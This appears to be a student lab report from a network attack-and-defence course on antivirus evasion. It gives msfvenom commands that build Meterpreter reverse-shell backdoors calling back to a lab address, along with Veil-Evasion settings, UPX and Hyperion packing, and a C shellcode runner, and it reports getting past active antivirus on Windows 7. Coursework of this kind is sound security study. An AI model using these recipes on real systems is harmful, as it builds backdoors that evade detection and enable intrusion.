2019-2020-2 20175334罗昕锐《网络对抗技术》Exp3 免杀原理与实践
1 实践说明
1.1实践内容
- (1)正确使用msf编码器
- (2)veil
- (3)加壳工具
- (4)使用C + shellcode编程
- (5)使用其他课堂未介绍方法
-(6)通过组合应用各种技术实现恶意代码免杀并用另一电脑实测,在杀软开启的情况下,可运行并回连成功
1.2基础知识
1.2.1免杀
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术
- 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验
1.2.2恶意软件检测机制
- 基于特征码的检测
- 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库
- 启发式恶意软件检测
- 启发式Heuristic,简单来说,就是根据些片面特征去推断;通常是因为缺乏精确判定依据
- 优点:可以检测0-day恶意软件;具有一定通用性
- 缺点:实时监控系统行为,开销稍多;没有基于特征码的精确度高
- 基于行为的恶意软件检测
- 最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描
- 所以后来又提出了基于行为的;从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式
1.2.3免杀技术(Evading AV)综述
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 使用社工类攻击,诱骗目标关闭AV软件
- 纯手工打造一个恶意软件
- 留后门的思路是这样的:
- 你写一个有漏洞的软件,开一个服务端口,这个软件本身没问题,然后如果这个端口被攻击,就可以获得系统控制权
- 通过meterpreter这种驻留内存的payload,AV软件很难检出
- 这样的小漏洞程序大家也有做,自己攻击自己还是很容易的
- 当然最好的方法,还是手工打造,自己从头编一个,没有通用工具的特征,AV软件也就杀不出来了
- 从头打造当然是相当有难度的,但我们可以利用Metasploit已有的payload来半手工的打造,效果也不错
- 你写一个有漏洞的软件,开一个服务端口,这个软件本身没问题,然后如果这个端口被攻击,就可以获得系统控制权
2 正确使用msf编码器
2.1 生成exe文件
- 编码一次命令如下(用-e参数编码):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.186.133 LPORT=5334 -f exe > backdoor_5334.exe
- 编码十次命令如下(用-i参数指定编码次数):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.186.133 LPORT=5334 -f exe > backdoor_5334_2.exe
- 检测
- msfvenom会生成固定模板的exe文件,因此其具有一定特征,一般的AV厂商也会针对其模板生成特征码来进行查杀
2.2 生成jar等其它文件
- 生成jar文件命令如下:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.186.133 lport=5334 x> backdoor_5334_java.jar
- 生成php文件命令如下:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.186.133 lport=5334 x> backdoor_5334.php
- 检测
2.3 veil
- 输入
sudo apt-get install veil
进行安装;之后用输入veil
打开,输入y
继续安装直至完成,这期间可能要等待较长时间 - 进入
Veil
后,输入use evasion
进入Veil-Evasion
- 输入
use c/meterpreter/rev_tcp.py
进入配置界面 - 设置反弹连接IP,输入
set LHOST 192.168.186.133
- 设置端口,输入
set LPORT 5334
- 最后输入
generate
生成后门程序文件后并命名
- 检测
2.4 加壳工具
- 输入以下命令为文件加压缩壳:
upx backdoor5334_3.exe -o backdoor5334_3.upxed.exe
- 检测
- 将加了压缩壳的文件放入
hyperion
目录中,输入以下命令为其加加密壳:
wine hyperion.exe -v backdoor5334_upxed.exe backdoor5334_upxed_Hyperion.exe
- 检测
- 压缩壳似乎作用不大,加密壳有一定的作用
2.5 使用C + shellcode编程
- 使用如下命令生成一段c语言格式的
shellcode
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.186.133 LPORT=5334 -f c
- 新建一个c文件,内容如下:
java
unsigned char buf[] =
"shellcode数组内容"
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 输入
i686-w64-mingw32-g++ shell5334.c -o shell5334.exe
命令,生成可执行文件 - 检测
2.6 使用其他课堂未介绍方法
- 进入
Veil
后,输入use evasion
进入Veil-Evasion
- 输入
list
查看可用的payloads
- 输入
use 30
选择后,输入generate
生成文件,生成的文件类型选择2,生成一个exe文件,之后进行配置
- 生成的
setup.py
和runme.bat
两个文件保存在/var/lib/veil/output/source/
- 检测
3 通过组合应用各种技术实现恶意代码免杀
- 在2.6中可以看到
veil
生成的后门文件,使用Python
语言可以很好的实现免杀功能,于是这里使用了28号payload
并为其加上了加密壳 - 成功实现与杀软共存
4 用另一电脑实测,在杀软开启的情况下,可运行并回连成功
- 使用windows7操作系统,实现与杀软共存并成功回连
5 实验收获与感想
- 本次实验操作性较强,但过程并不复杂;通过本次实验学会了Veil的操作并巩固了msfvenom的操作;除此之外,我还意识到开启杀软并不能完全保护电脑安全;所以更要努力学习,一方面是提高自己的网络安全意识,另一方面是提高自己的技能去思考如何抵御恶意攻击
6 回答问题
- (1)杀软是如何检测出恶意代码的?
- 基于特征码的检测;基于行为的恶意软件检测;启发式恶意软件检测
- (2)免杀是做什么?
- 一种能使病毒木马免于被杀毒软件查杀的技术
- (3)免杀的基本方法有哪些?
- 改变特征码(加壳、encode进行编码、基于payload重新编译生成可执行文件、用其他语言进行重写再编译)
- 改变行为(尽量使用反弹式连接、使用隧道技术、加密通讯数据;基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码)
- 非常规方法(使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件)
- (4)开启杀软能绝对防止电脑中恶意代码吗?
- 通过本次实验发现并不能,杀毒软件也会有缺陷,仍然会使电脑中恶意代码
原文地址:https://www.cnblogs.com/lxr1006/p/12591498.html